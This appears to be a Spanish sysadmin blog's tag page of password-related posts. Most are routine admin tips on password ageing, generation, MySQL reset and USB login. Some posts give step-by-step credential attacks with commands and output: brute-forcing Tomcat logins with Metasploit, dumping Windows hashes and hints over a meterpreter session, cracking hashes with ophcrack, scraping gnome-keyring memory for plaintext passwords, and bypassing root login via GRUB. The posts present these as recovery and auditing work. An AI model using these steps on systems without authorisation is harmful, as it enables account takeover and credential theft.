Mostrando entradas con la etiqueta password. Mostrar todas las entradas
Mostrando entradas con la etiqueta password. Mostrar todas las entradas

Recuperar contraseña de root

Aunque es una práctica que únicamente hay que llevar a cabo en casos extremos, hoy voy a explicar de forma sencilla cómo poder resetear la contraseña de root de prácticamente cualquier distribución GNU/Linux con tener únicamente acceso directo al equipo físico.
Lo primero es reiniciar la máquina y esperar a que salga el Grub. En cuanto lo tengamos delante, nos movemos para que no arranque con la opción por defecto, ya que vamos a querer introducirle una opción para que nos permita trabajar. Para hacerlo, únicamente debemos de presionar la tecla "e" sobre la línea del sistema que vayamos a arrancar. A continuación posicionarnos sobre la línea que pone algo referente al kernel y volver a presionar "e". Ahí ya nos dejará modificar la línea de arranque del sistema, con lo que podemos hacer cosas.

Lo primero es borrar las palabras quiet y splash (si aparecen) y añadir lo siguiente,
init=/bin/bash 
Quedando la línea como se muestra en la siguiente imagen, en capas los pasos que se han mencionado. Ahora ya estamos listos para arrancar el sistema, así que únicamente presionamos ENTER y a continuación "b".
Esto nos llevará a una shell básica del sistema GNU/Linux en la que tendremos a nuestra disposición pocos comandos, pero en realidad los necesarios. Si os dais cuenta, tenemos una shell como root, pero sin que nos haya pedido la contraseña, en un sistema de sólo lectura, eso sí.
Como bien hemos dicho, no hay posibilidad de escritura, así que vamos a conseguirla, para ello,
shell> mount -o remount,rw /
Nota: Si el sistema al que estáis accediendo tiene la carpeta /etc en una partición diferente a /, hay que efectuar la misma operación sobre /etc.

Ahora ya sólo nos queda cambiar la contraseña del usuario que nos interese, en este caso, root. Para ello, simplemente ejecutamos passwd y metemos la nueva contraseña. Contraseña que esta vez evitaremos olvidarnos.
Una vez finalizado todo el proceso, ejecutamos sync y tras ello reiniciamos la máquina. El comando reboot no está disponible, por lo que podemos hacerlo presionando Control + Alt + Supr.
Leer más

Cisco, establecer longitud de una contraseña

Este que os muestro ahora es un pequeño truco para los equipos Cisco, que le intentan dar un poco más de seguridad a las contraseñas que un usuario pueda tener. Vamos a ver cómo lograr que la contraseña tenga una longitud mínima. Aunque no es una buena medida de seguridad, ya que la contraseña puede ser por ejemplo numérica, si es cuando menos una medida para garantizarnos que la contraseña tenga como mínimo X números ;-)
Router(config)# security passwords min-length 8
Tras ello, al intentar cambiar la contraseña,
Router(config)# enable password 1234

La entrada Cisco, establecer longitud de una contraseña la puedes leer en Puppet Linux.
Leer más

ophcrack, obtener contraseñas de windows

Recientemente hablamos sobre cómo conseguir un listado de la base de datos SAM de Windows, que contiene todas las contraseñas cifradas. Aunque este cifrado es ampliamente conocido, la explotación del mismo puede llevar bastante tiempo, así que hoy os quiero presentar un pequeño software que nos ayudará y mucho a agilizar el proceso de paso de caracteres extraños a contraseña 'entendible'. Se llama ophcrack y es un pequeño programa escrito en C y que tiene a mayores una serie de diccionarios. El modo de funcionamiento es muy similar al de un buscador. Previamente se han construido las contraseñas con su correspondiente encriptación y se han indexado. Ahora sólo hay que buscarlas y ya estará listo. Vamos a ver paso a paso, cómo trabajar con él.
  • Obtener ophcrack
    Este es el primer paso. Para conseguirlo nos vamos a la páguina oficial y lo descargamos. Existe una versión para Windows y otra para GNU/Linux. EN nuestro caso, descargamos la versión para Linux.
    Una vez la tengamos, sólo queda compilar el software. Para ello,
    shell> tar jxvf ophcrack-3.4.0.tar.bz2
    shell> cd ophcrack-3.4.0
    shell> ./configure
    shell> make
    shell> make install
    
  • Obtener las tablas de contraseñas
    Este es el segundo paso y realmente el más importante, ya que aquí en donde reside el potencial de este software. Para obtenerlas, vamos a la URL de descarga y seleccionamos el fichero que más nos convenga. Puesto que lo voy a emplear con un Windows XP, vamos a descargar el XP free fast.
  • Configurar ophcrack
    Ahora que ya tenemos todo preparado, simplemente arrancamos el software y desde el interfaz cargamos las tablas que se han descargado. Las tablas permanecerán en disco y serán cargadas en memoria cuando sea necesario emplearlas.
    El siguiente paso es cargar el fichero (o claves individuales) que se han obtenido (mira cómo hacerlo) y presionar en Crack. En muy poco tiempo tendremos todas las claves que se hayan podido encontrar (depende del diccionario empleado) en texto plano, como en la imagen.
Si ves que tras ejecutarlo casi no se obtiene ninguna contraseña con los diccionarios pequeños libres, eso es bueno ya que no es factible un ataque por diccionario y la contraseña usa símbolos.
Leer más

Comprobar estado de las contraseñas en GNU/Linux

GNU/Linux almacena los usuario en /etc/passwd y las contraseñas de los mismos en /etc/shadow. Entre ambos ficheros hay una relación lógica. Por norma general, para cambiar algo referente a las contraseñas hay que emplear el comando passwd, el cual tiene una opción (-S) que permite consultar el estado actual de la contraseña. El único parámentro que hay que pasarle por lo tanto es el nombre de usuario.
shell> passwd -S javier
javier P 08/16/2012 0 30 5 -1
Las opciones que tienen las contraseñas son:
L  -> Contraseña bloqueada
NP -> Sin contraseña
P  -> Contraseña válida
A mayores también ofrece información sobre la fecha del último cambio de contraseña y otra información referente a las contraseñas (mínimo y máximo tiempo de cambio, etc.).
Si queremos ver el estado de las contraseñas de todos los usuarios, como root, podemos ejecutar,
shell> getent passwd | awk 'BEGIN{FS=":"}{print $1}' | \
       while read user; do passwd -S $user; done
Leer más

metasploit, credenciales tomcat

metasploit tiene una gran cantidad de módulos que permiten comprobar la seguridad y fortaleza de un gran número de servicios y aplicaciones. En este caso vamos a ver cómo poder comprobar la fortaleza de tomcat y para ello emplearemos el módulo tomcat_mgr_login. Recordar que sólo nos interesa saber si hay una brecha de seguridad en combinaciones de usuario + contraseña, no aprovecharla, así que nos ponemos a trabajar.
Aquí hay que decir que es importante tener unos ficheros de usuarios y contraseñas buenos, ya que los que trae por defecto, no suelen funcionar.
msf> use auxiliary/scanner/http/tomcat_mgr_login
msf auxiliary(tomcat_mgr_login)> info

       Name: Tomcat Application Manager Login Utility
     Module: auxiliary/scanner/http/tomcat_mgr_login
    Version: 14871
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  MC <mc@metasploit.com>
  Matteo Cantoni <goony@nothink.org>
  jduck <jduck@metasploit.com>

Basic options:
Name              Current Setting
----              ---------------
BLANK_PASSWORDS   true
BRUTEFORCE_SPEED  5
PASSWORD
PASS_FILE         data/wordlists/tomcat_mgr_default_pass.txt
Proxies
RHOSTS
RPORT             8080
STOP_ON_SUCCESS   false
THREADS           1
URI               /manager/html
USERNAME
USERPASS_FILE     data/wordlists/tomcat_mgr_default_userpass.txt
USER_AS_PASS      true
USER_FILE         data/wordlists/tomcat_mgr_default_users.txt
VERBOSE           true
VHOST

Description:
  This module simply attempts to login to a Tomcat Application Manager 
  instance using a specific user/pass.

References:
  http://cve.mitre.org/cgi-bin/cvename.cgi?name=2009-3843
  http://www.osvdb.org/60317
  http://www.securityfocus.com/bid/37086
  http://cve.mitre.org/cgi-bin/cvename.cgi?name=2009-4189
  http://www.osvdb.org/60670
  http://www.zerodayinitiative.com/advisories/ZDI-09-085/
  http://cve.mitre.org/cgi-bin/cvename.cgi?name=2009-4188
  http://www.securityfocus.com/bid/38084
  http://cve.mitre.org/cgi-bin/cvename.cgi?name=2010-0557
  http://www-01.ibm.com/support/docview.wss?uid=swg21419179
  http://cve.mitre.org/cgi-bin/cvename.cgi?name=2010-4094
  http://www.zerodayinitiative.com/advisories/ZDI-10-214/
  http://cve.mitre.org/cgi-bin/cvename.cgi?name=2009-3548
  http://www.osvdb.org/60176
  http://www.securityfocus.com/bid/36954
  http://tomcat.apache.org/
  http://cve.mitre.org/cgi-bin/cvename.cgi?name=1999-0502
Ahora lo configuramos correctamente,
msf auxiliary(tomcat_mgr_login)> set STOP_ON_SUCCESS false
msf auxiliary(tomcat_mgr_login)> set RHOSTS 192.168.1.21
msf auxiliary(tomcat_mgr_login)> set RPORT 80
msf auxiliary(tomcat_mgr_login)> USER_AS_PASS true
msf auxiliary(tomcat_mgr_login)> USERPASS_FILE /tmp/user-pass.txt
Una vez que ya está configurado, simplemente es cuestión de dejarlo ejecutando. Puesto que nos interesa una auditoría completa del tomcat, aunque encuentre un usuario con credenciales válidas no nos interesa que pare. La ejecución puede llevar un tiempo, en función de vuestras combinaciones.
msf auxiliary(tomcat_mgr_login)> run

[*] 192.168.1.21:80 TOMCAT_MGR - Trying username:'admin' with password:''
[-] 192.168.1.21:80 TOMCAT_MGR - /manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as 'admin'
[*] 192.168.1.21:80 TOMCAT_MGR - Trying username:'manager' with password:''
[-] 192.168.1.21:80 TOMCAT_MGR - /manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as 'manager'
[*] 192.168.1.21:80 TOMCAT_MGR - Trying username:'role1' with password:''
[-] 192.168.1.21:80 TOMCAT_MGR - /manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as 'role1'
[*] 192.168.1.21:80 TOMCAT_MGR - Trying username:'root' with password:''
[-] 192.168.1.21:80 TOMCAT_MGR - /manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as 'root'
[*] 192.168.1.21:80 TOMCAT_MGR - Trying username:'tomcat' with password:''
...
Una vez finalizadas todas las iteraciones tendremos un listado de todos los usuarios válidos para hacer login, en caso de que los hubiese. Lo idea, que no los haya, así que si os sale alguno, corregirlo rápidamente.
Leer más

metasploit, obteniendo contraseñas y frases de usuarios en Windows

Otra vez volvemos a presentar algo de metasploit. En este caso una forma sencilla de obtener un volcado del hashdump de usuarios y contraseñas de un equipo al que tengamos acceso, así como un listado de las frases que usa Windows para darle pistas al usuario en caso de que se olvide la contraseña. Esta frase si está bien creada puede ayudar a descubrir la contraseña del usuario de forma simple, ya que da información que empleando redes sociales o ingeniería social, se podría conseguir. Para poder conseguir estos datos únicamente debemos de tener usa sesión de meterpreter activa.
msf exploit(ms08_067_netapi)> sessions -l

Active sessions
===============

Id  Type        Information  Connection
--  ----        -----------  ----------
1   meterpreter WIN-VIRT     192.168.1.33:4444 -> 192.168.1.50:1949
Si tenemos esto, entonces ya podemos emplear 2 módulos existentes para obtener el hashdump que nos interes. Estos módulos son:
  • smart_hashdump
    msf post(ms08_067_netapi)> use post/windows/gather/smart_hashdump
    msf post(smart_hashdump)> set SESSION 1
    SESSION => 1
    msf post(smart_hashdump)> exploit 
    
    [*] Running module against WIN-VIRT
    [*] Hashes will be saved to the database if one is connected.
    [*] Hashes will be saved in loot in JtR password file format to:
    [*] /root/.msf4/loot/default_192.168.1.50_windows.hashes.txt
    [*] Dumping password hashes...
    [*] Running as SYSTEM extracting hashes from registry
    [*]  Obtaining the boot key...
    [*]  Calculating the hboot key using SYSKEY 264XXX
    [*]  Obtaining the user list and keys...
    [*]  Decrypting user keys...
    [*]  Dumping password hints...
    [+]  Javier:"p0wned"
    [*]  Dumping password hashes...
    [+]  Administrador:500:5b98b5c244XXX:::
    [+]  Asistente de ayuda:1000:b4a4XXX:::
    [+]  SUPPORT_388945a0:1002:aaf418XXX:::
    [+]  Javier:1003:5b98bXXX:::
    [+]  ASPNET:1005:6a695044XXX:::
    [*] Post module execution completed
    
  • hashdump
    msf post(smart_hashdump)> use post/windows/gather/hashdump
    msf post(hashdump)> set SESSION 1
    SESSION => 1
    msf post(hashdump)> exploit
    
    [*] Obtaining the boot key...
    [*] Calculating the hboot key using SYSKEY 264XXX
    [*] Obtaining the user list and keys...
    [*] Decrypting user keys...
    [*] Dumping password hints...
    
    Javier:"p0wned"
    
    [*] Dumping password hashes...
    
    Administrador:500:5b9XXX:::
    Invitado:501:aadXXX:::
    Asistente de ayuda:1000:b4aXXX:::
    SUPPORT_388945a0:1002:aadXXX:::
    Javier:1003:5b9XXX:::
    ASPNET:1005:6a6XXX:::
    
    [*] Post module execution completed
    
En caso de que al ejecutar el exploit ningún usuario tenga configurado una passwd, la salida que tendremos será tal que así, respectivamente.
  • smart_hashdump
    [*]  Dumping password hints...
    [*]  No users with password hints on this system
    [*] Dumping password hashes...
    
  • hashdump
    [*] Dumping password hints...
    
    No users with password hints on this system
    
    [*] Dumping password hashes...
    
Leer más

Seguridad en la RAM


Cuando estamos haciendo pruebas de pentesting y accedemos a un equipo, lo más importante es conseguir las contraseñas para poder volver a acceder. Una de las formas más sencillas es obtenerlas de los ficheros y luego "reventarlas" en local, por ejemplo. Pasar de un churro md5 a una contraseña. Si tenemos esto es genial, pero lo único que nos facilita es poder volver acceder al sistema, no obtenemos ningún dato más.

En un equipo con un uso normal, se emplean muchas contraseñas y muchas de las mismas pueden ser completamente diferentes, así que lo ideal sería poder obtenerlas. Un software bien diseñado almacena las contraseñas en memoria cifradas, sin embargo... ¿cuánto software de ese hay en un equipo? La gran mayoría dejará las contraseñas en texto plano en la memoria ram, así que sólo habrá que saber cómo buscarlas.
Indagando un poco, y la verdad es que poco, descubrí pd, un software que permite hacer volcados de la memoria de un proceso a fichero para luego examinar su contenido. Existe una versión para GNU/Linux y otra para Windows y aunque llevar tiempo sin actualizarse, la verdad es que sigue funcionando perfectamente. Lo único necesario es el PID del proceso. Es aquí donde tenemos que saber dónde buscar. Yo ejecutando un 'ps aux' en mi sistema tengo el proceso 'gnome-keyring-daemon' que me parece interesante, así que vamos a ver, paso a paso, cómo obtener la contraseña desde memoria.
  • Obtenemos pd
    shell> wget \
    http://www.trapkit.de/research/forensic/pd/pd_v1.1_lnx.bz2
    shell> bunzip2 pd_v1.1_lnx.bz2
    shell> mv pd_v1.1_lnx pd
    
  • Obtenemos el PID del proceso
    Para obtener el PID del proceso, simplemente ejecutamos un 'ps x' y filtramos por el proceso que nos interese. En mi caso, gnome-keyring-daemon.
    En sistemas Windows, para hacer el volcado se puede emplear la misma técnica, únicamente cambia la forma de averiguar el PID del proceso, que es con el comando tasklist.
    shell> ps x |grep gnome-keyring
    2432 ? Sl /usr/bin/gnome-keyring-daemon --daemonize --login
    2590 ? S  /usr/bin/gnome-keyring-daemon --start --components=secrets
    
  • Volcado de memoria
    Sabiendo el PID del proceso, simplemente se lo pasamos como argumento y hacemos un redirect de la salida a un fichero, que posteriormente lo analizaremos.
    shell> ./pd_v1.1_lnx -p 2432 > key.dump
    pd, version 1.1 tk 2006, www.trapkit.de
    
    Dump complete.
    
  • Data -> text
    Una vez que tenemos la salida de la memoria la podemos intentar comprender así, pero lo más sencillo es que hagamos uso del comando strings para obtener una salida más simple de comprender.
    shell> strings key.dump > key.txt
    
  • Buscamos la contraseña
    Ahora que ya tenemos el volcado de memoria en formato texto, únicamente quedará por realizar la búsqueda de información sensible. Para ello, depende mucho del programa, pero generalmente tiene la cadena passwd, password, contraseña o similar y a continuación los datos que nos interesa. Por lo tanto, abrimos el fichero y se puede ver algo similar a lo que sigue.
    ...
    _Contrase
    minutos
    00004000
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAh?p
    .r4qu3l12
    zR:W
    mipasswdenclaro
    ...
    
Con esto que acabamos de descubrir podemos ver que el proceso gnome-keyring-daemon no es para nada seguro. ¿Qué pasará si analizamos sudo?
Leer más

Obligación de cambio de contraseña mensual

Si hace tiempo hablamos de cómo se podía forzar el cambio de una contraseña tras crear un nuevo usuario, por ejemplo, hoy vamos a ver cómo forzar un cambio de contraseña cada 30 días.
Este tipo de restricciones es usado típicamente en sistemas LDAP, dónde se puede configurar fácilmente cada cuanto tiempo una contraseña expira, así como los tiempos de advertencia. Lo mismo sucede con el sistema en sí. El fichero /etc/shadow tiene variables que controlan dichas fechas y por defecto, fuerzan el cambio de contraseña cada 99999 días (ufff, cuántos!). Apoyándonos en el comando chage, vamos a forzar por lo tanto al sistema a que nos pida que se cambie la contraseña cada 30 días y que durante 5 días antes de ser necesario el cambio, nos advierta de que hay que cambiarla ya. Para lograr esto simplemente ejecutamos por cada usuario,
shell> chage -M 30 -W 5 $user
Esta línea hará los cambios necesarios en el fichero /etc/shadow para que el sistema cuando sea necesario pida el cambio de contraseña. Puesto que nos interesa que eso suceda para todos los nuevos usuarios del sistema, vamos a editar el fichero /etc/login.defs y establecer dicho valor en las variables que correspondan,
...
PASS_MAX_DAYS   30
PASS_MIN_DAYS   0
PASS_WARN_AGE   5
...

Leer más

Cambiar contraseña en batch mode

Se nos puede dar el caso de que en ocasiones tengamos que cambiar la contraseña de un usuario en batch y no interactivamente. En este caso el comando passwd ya no sirve y hay que emplear el comando chpasswd, que sí permite el cambio de contraseñas en modo batch.
Las utilidades de este comando pueden ser muchas según el script que queramos desarrollar, eso ya queda a merced de la imaginación de cada uno. Para usarlo, simplemente:
shell> echo "root:new_passwd" | chpasswd
Leer más

LDAP, creación de /home en login

En sistemas GNU/Linux, por defecto al crear un usuario ya crea la carpeta home asociada al mismo y establece los permisos pertinentes. Sin embargo, si el sistema de autenticación es vía LDAP, el usuario no se crea nunca el local, por lo que si la home no es remota, ésta no existirá y nos dará un fallo a la hora de crearla.
Para solucionar este problema, en sistemas que se autentiquen vía LDAP, en el fichero /etc/pam.d/common-session tenemos que añadir la siguiente línea. Ésta justamente hará eso, crear el directorio home del usuario en caso de que éste no exista.
session required pam_mkhomedir.so skel=/etc/skel umask=0022
Leer más

Recuperar contraseña MySQL

Hay veces que se nos puede dar el caso de que no sepamos la contraseña de root de una base de datos y por lo tanto necesitemos restaurarla. Al estar en sistemas GNU/Linux, si eres root, puedes hacer prácticamente de todo y por lo tanto, restaurar la contraseña de un servidor MySQL no tendría que ser nada complicado.
Existen muchas formas de hacerlo, pero la verdad es que la que detallo a continuación, sacada de la documentación oficial es la más simple que he visto y como se verá ayuda a reestablecer la contraseña del usuario administrador de forma muy simple y rápida.
A continuación os detallo los pasos a dar.
  1. Paramos el servidor de base de datos
    shell> /etc/init.d/mysql stop
    
  2. Creamos el fichero /tmp/reset con el siguiente contenido
    UPDATE mysql.user SET Password=PASSWORD('newpass') WHERE User='root';
    FLUSH PRIVILEGES;
    
  3. Arrancamos nuevamente el servidor de base de datos de esta forma,
    shell> mysqld_safe --init-file=/tmp/reset &
    
  4. Borramos el fichero creado y accedemos con la nueva contraseña
    shell> rm /tmp/reset
    shell> mysql -u root -p
    Enter password: 
    Welcome to the MySQL monitor.  Commands end with ; or \g.
    
    mysql>
    
Leer más

Comandos interesantes: pwgen

Numerosas veces es necesario la creación de contraseñas que sean seguras para determinados servicios, a mayores de las contraseñas de acceso a cosas personales (sesión, correo, blog,...). La forma de generarlas la verdad es que puede ser algo complicado, por que escoger un número de letras, números y símbolos que realmente sea aleatorio es complicado, por lo tanto, qué mejor que dejar esta tarea a pwgen.
pwgen es un pequeño programa que se encarga justo de eso, proveernos de claves aleatorias, pero con posibilidad de ser recordadas al mismo tiempo que seguras. Es altamente configurable y está disponible en prácticamente todas las distribuciones. En debian/ubuntu para instalarlo,
shell> apt-get install pwgen
Para poder usarlo, simplemente se llama al comando indicándole la longitud de la contraseña deseada y el número de éstas que se quiere.
shell> pwgen 12 3
     DahDo1queecu aiB9phiethi9 uTaf7oghahT4
shell> pwgen 15 1
     ieF7IH9Ieh6tohk
shell> pwgen -1Bncy 20 3
     voh-chah9eeth7KieDai
     Pha3quu(xoC^eewahn4o
     Ung$a&ka3woquiChohje
Según las opciones que se le pase al comando, la contraseña tendrá unas características u otras. Las principales y más destacables son:
  • -0 | --no-numerals
    Sin números en las contraseñas.
  • -1
    Una contraseña por línea.
  • -B | --ambiguous
    Usa caracteres no ambiguos a la hora de generar contraseñas.
    Por ejemplo, no está l y 1 en la misma contraseña.
  • -c | --capitalize
    Incluye letras mayúsculas en la contraseña.
  • -n | --numerals
    Incluye caracteres numéricos en la contraseña.
  • -s | --secure
    Genera una contraseña completamente aleatoria y complicada de memorizar.
    Especialmente ideal para servicios de los que no sea necesario recordar la contraseña habitualmente.
  • -y | --symbols
    Incluye caracteres especiales en la contraseña.
Leer más

Autenticación en linux vía USB

A quién no se le pasó por la cabeza realizar la autenticación de un usuario con un dispositivo USB. Tú llegas a un equipo, enchufas el pen y automáticamente el sistema detecta qué usuario eres y te permite el acceso. Esto, además de práctico es perfecto. Cada pen es realmente un usuario y en entornos universitarios, que solían regalarte un dispositivo de estos, pues quedaría muy bien.
En GNU/Linux conseguir es relativamente sencillo, lo único que se necesita en el dispositivo ("el usuario"), previamente creado y mucha imaginación, ya que, con tiempo, hay muy pocas cosas imposibles.
Para empezar, instalaremos las librerías necesarias. Como siempre, partimos de nuestra distro preferida y tiramos de repositorios oficiales.
shell> apt-get install libpam-usb pamusb-tools
Una vez instalado el software necesario sólo queda crear el token de autenticación en dicho dispositivo. Para simplificar la tarea, yo recomiendo que sólo se conecte un dispositivo al sistema y así simplificar las cosas y evitar equivocarse. Aunque nos equivocásemos la información del pen no se perdería, por eso no habría problema. La información extra que vamos a introducir no realiza cambios en el sistema de ficheros. Para crear el token:
shell> pamusb-conf --add-device token
 Please select the device you wish to add.
  * Using "SanDisk U3 Cruzer Micro (SanDisk_U3-0:0)" (only option)

 Which volume would you like to use for storing data ?
  * Using "/dev/sdf1 (UUID: A3AD-3572)" (only option)

 Name   : token
 Vendor : SanDisk
 Model  : U3 Cruzer Micro
 Serial : SanDisk_U3_Cruzer_Micro_25851207EFD19790-0:0
 UUID   : A3AD-3572

 Save to /etc/pamusb.conf ?
 [Y/n] Y
 Done.
Ahora asociamos el token creado con un usuario concreto. En mi caso con el usuario javier. Toda esta información se está almacenando en el fichero /etc/pamusb.conf y podría ser consultada o exportada a otros equipos, lo que garantizaría que esta operación aquí descrita sólo hubiera que realizarla en un único equipo la primera vez.
shell> pamusb-conf --add-user javier
 Which device would you like to use for authentication ?
  * Using "token" (only option)

 User   : javier
 Device : token

 Save to /etc/pamusb.conf ?
 [Y/n] Y
 Done.
Ahora, antes de realizar los cambios en el sistema para que permita la autenticación vía USB, vamos a comprobar que todo quedó correcto. Aquí lo importante es conseguir que todo esté correcto (Access granted), que será lo que nos garantice que todo funcione. Una salida correcta, sería la que se ve a continuación.
shell> pamusb-check javier
 * Authentication request for user "javier" (pamusb-check)
 * Device "token" is connected (good).
 * Performing one time pad verification...
 * Regenerating new pads...
 * Access granted.
Tras esto, únicamente queda indicarle a pam que la autenticación de los usuarios la realice también a través del módulo usb, que se llama pam_usb.so. Para ello, hay que editar el fichero /etc/pam.d/common-auth y añadirle la siguiente línea:
auth sufficient pam_usb.so
Tras ello, salimos de la sesión y comprobamos que se puede iniciar perfectamente sesión al introducir el pen en el equipo en la pantalla de login y también desbloquear una sesión ya iniciada.

Hay que recordar que en este proceso en ningún momento se altera el contenido del sistema de ficheros del dispositivo y aunque se intentanse realizar una copia bit a bit del pen, no se podría copiar el usuario por que los datos asociados son el fabricante, el UUID del dispositivo y el Nº de serie, una combinación que cuando menos se considera difícil de replicar.

Con lo dicho aquí y lo escrito en otro post sobre UUID no sería demasiado complejo asociar un pen con la home de usuario y con su autenticación.
Leer más

Forzar el cambio de contraseña en GNU/Linux

Muchas veces, en sistemas recien instalado es necesario crear determinados usuarios por defecto para compañeros que necesitan entrar en él y siempre está el problema de la contraseña. Por defecto, se suele poner una contraseña fácil y chorra que en la mayoría de los casos queda ahí permanentemente, haciendo así el sistema vulnerable. Para evitarlo, en GNU/Linux existe el comando chage, que obliga al usuario a cambiar su contraseña la próxima vez que intente acceder al sistema y así evitar que quede con la contraseña débil. Su uso, tras el salto.
Leer más

Cambiar contraseña a un Windows

Este post surgió por la necesidad de cambiar una contraseña de un Windows y únicamente pretende servir de ayuda, pero NUNCA promocionar el hack, que nos conocemos...

La problemática: Nos olvidamos la contraseña
Esto, que suena a excusa para poder entrar en un equipo, sucede muchas veces y si se da el caso de que nadie más sabe la contraseña de administrador del equipos, el problema aumenta. El sistema quedaría inutilizable y habría que acceder a él de otras formas (que intentaré comentar en próximos post's) para recuperar los datos.
La solución sería formatear el equipo y posiblemente perder datos. Puesto que eso nunca interesa, presentaré otra solución más óptima. Según la importancia de los datos, se piensa una u otra forma de trabajar, jeje.

La solución: GNU/Linux
Tras esto se que podría dejar de escribir. GNU/Linux siempre ayuda y como no podría ser de otra forma, también ayuda a Windows... El problema es saber qué paquetes o software hace lo que nosotros necesitamos. En este caso necesitamos cambiar la contraseña. Ésta suele encontrarse en un fichero llamado SAM, localizada en C:/WINDOWS/system32/config/, por lo que necesitamos una distribución de GNU/Linux y software que sepa escribir. Si en tu disco no hay previamente una distro instalada, pincha aquí, sino, también puedes usar en live-cd de Ubuntu o Knoppix, por ejemplo.

El programa que se usará para poder acceder y modificar dicho fichero será chntpw.
dark:~# apt-cache search chntpw
chntpw es una utilidad de recuperación de contraseñas NT. Para instalarlo en Debian o derivados:
dark:~# apt-get install chntpw
Con el software ya instalado, únicamente nos queda por montar la partición sobre la que esté Windows para así tener acceso al fichero. Este apartado se realizará con mount y sólo hay que tener presente dar permisos de escritura a la partición. La partición Windows será /dev/sda1.
dark:~# mount /dev/sda1 /mnt --options=rw
Nos desplazamos al directorio seleccionado.
dark:~# cd /mnt/WINDOWS/system32/config
Modificamos la contraseña del administrador o de cualquier usuario.
  • Administrador
dark:~# chntpw SAM
  • Usuario
dark:~# chntpw -u user SAM
Al ejecutarlo, aparecerá un menú con 5 opciones. Si deseamos borrar la contraseña, elegimos la opción 1 del menú, mientras que para modificarla, la opción 2. Para más detalles de como funciona el comando, man chntpw.

Nota: Las contraseñas de archivos SAM también pueden ser averiguadas con programas como John the Ripper.
Leer más

Formulario de contacto

Nombre

Correo electrónico *

Mensaje *

Últimos comentarios